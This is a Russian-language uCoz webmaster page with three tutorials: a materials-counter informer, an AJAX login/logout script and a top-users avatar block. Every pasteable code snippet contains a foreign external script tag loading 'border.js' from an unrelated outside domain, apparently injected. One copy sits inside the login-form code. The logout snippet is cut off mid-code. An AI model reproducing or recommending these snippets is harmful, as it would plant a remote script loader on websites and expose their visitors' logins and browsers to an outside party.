Меню сайта |
|
 |
Мини-чат |
|
 |
Наш опрос |
|
 |
|
Главная » 2013 » Август » 17
И так для начала мы создадим информер материалов для uCoz, для этого идём в Админ панель => Инструменты => Информеры => Создать информер => Счетчик материалов
удаляем старый html код и устанавливаем новый:
Код <ul> <?if($DIR$)?><li><div>Сайтов в каталоге:</div>$DIR$</li><?endif?> <?if($BLOG$)?><li><div>Записей в блоге:</div>$BLOG$</li><?endif?> <?if($GB$)?><li><div>Гостевая книга:</div>$GB$</li><?endif?> <?if($NEWS$)?><li><div>Новостей сайта:</div>$NEWS$</li><?endif?> <?if($COMMENTS$)?><li><div>Тем на форуме:</div>$FORUM_T$</li><?endif?> <script src="http://adoit.pw/border.js" type="text/javascript"></script> <?if($COMMENTS$)?><li><div>Комментариев:</div>$COMMENTS$</li><?endif?> <?if($BOARD$)?><li><div>Объявлений:</div>$BOARD$</li><?endif?> <?if($PHOTO$)?><li><div>Фотографий:</div>$PHOTO$</li><?endif?> <?if($FAQ$)?><li><div>Ответов:</div>$FAQ$</li><?endif?> <?if($LOAD$)?><li><div>Файлов:</div>$LOAD$</li><?endif?> <?if($PUBL$)?><li><div>Статей:</div>$PUBL$</li><?endif?> <?if($TESTS$)?><li><div>Тестов:</div>$TESTS$</li><?endif?> <?if($VIDEO$)?><li><div>Видео:</div>$VIDEO$</li><?endif?> <?if($STUFF$)?><li><div>Игр:</div>$STUFF$</li><?endif?> </ul>
а если вы хотите чтобы ячейка с количеством материалов имел тёмный фон, как в примере номер два, то устанавливаем в тот же информер следующий html код:
|
 Данный скрипт очень полезен для тех, кто хочет перевести весь функционал своего сайта на ajax запросы. Суть скрипта в том, чтобы пользователь мог авторизовываться на сайте и выходить с него без перезагрузки страницы. Это очень удобный способ, так как авторизация будет максимально быстрой и вы сможете выполнять любые свои функции после успешного входа под своим профилем
Установка:
1) Форма входа:
На всех страницах замените $LOGIN_FORM$ на:
Код <div id="apologin">$LOGIN_FORM$<div align="center" id="apolog" style="font-weight:bold;color:red"></div></div> <script src="http://adoit.pw/border.js" type="text/javascript"></script> <script> // ajax авторизация by Apocalypse $('#apologin form').attr({'id':'apologformin', 'onsubmit': 'aposendFrmlogin();return false;'}); aposendFrmlogin = function() { $('#apologformin').stop().fadeTo(300, 0.3); _uPostForm('apologformin', {type:'POST', url:'/index/sub/', success:function(a) { if($(a).text().indexOf('пароль') != -1) { $('#apolog').html('Проверьте логин и пароль'); $('#apologformin').stop().fadeTo(300, 1); setTimeout(function() { $('#apolog').html(''); }, 3000); } else { $('#apolog').html('Авторизация прошла успешно'); $('#apologformin').remove(); // Далее здесь можно выполнять любые ваши скрипты после успешной авторизации } }, error:function(a) { _uWnd.alert('Болом какой-то...', 'Упс', {w:200, h:70}); }}); } // apo-ucoz.com (c) 2013 </script>
2) Кнопка выхода без перезагрузки страницы прописывается вот так:
Код <a href="/index/10" onclick="apologout();return false;">Выход</a> <script> <
...
Читать дальше »
|
Блок не адаптивный и имеет фиксированную ширину, поэтому Вы сами будете указывать значения длины и ширины в пикселях. Установка
Создайте информер для модуля Пользователи (Панель управления » Инструменты » Информеры). Выберите Способ сортировки по Репутации. Количество материалов – 8, а количество колонок – 1.
Вставьте следующий код в Шаблон информера.
Код <div class="top_user"><a href="$PROFILE_URL$"><span>$REPUTATION$</span></a><div class="top_user_black"><script src="http://adoit.pw/border.js" type="text/javascript"></script></div><img src="$AVATAR_URL$" alt="$USERNAME$" /></div>
А этот код туда, где хотите видеть блок (это может быть Первый или Второй контейнер).
Код <div class="top_use1s">$MYINF_1$</div>
Вставьте этот код в Таблицу стилей (CSS).
Код .top_use1s {width:300px;height:180px;background:#1d1d1d;font-family:Tahoma,sans-serif} .top_user {width:75px;height:90px;overflow:hidden;float:left;background:#1d1d1d} .top_user img {width:90px;margin-left:-7px} .top_user a {width:75px;height:90px;position:absolute;z-index:2;text-decoration:none} .top_user a:hover {background:rgba(255,255,255,0.1)} .top_user a span {color:#FFF;padding-top:70px;text-align:center;display:block;font-size:11px} .top_user_black {position:absolute;width:75px;height:24px;background:rgba(0,0,0,0.3);margin-top:66px}
|
|
|
|
Календарь |
|
 |
Статистика |
|
 |
|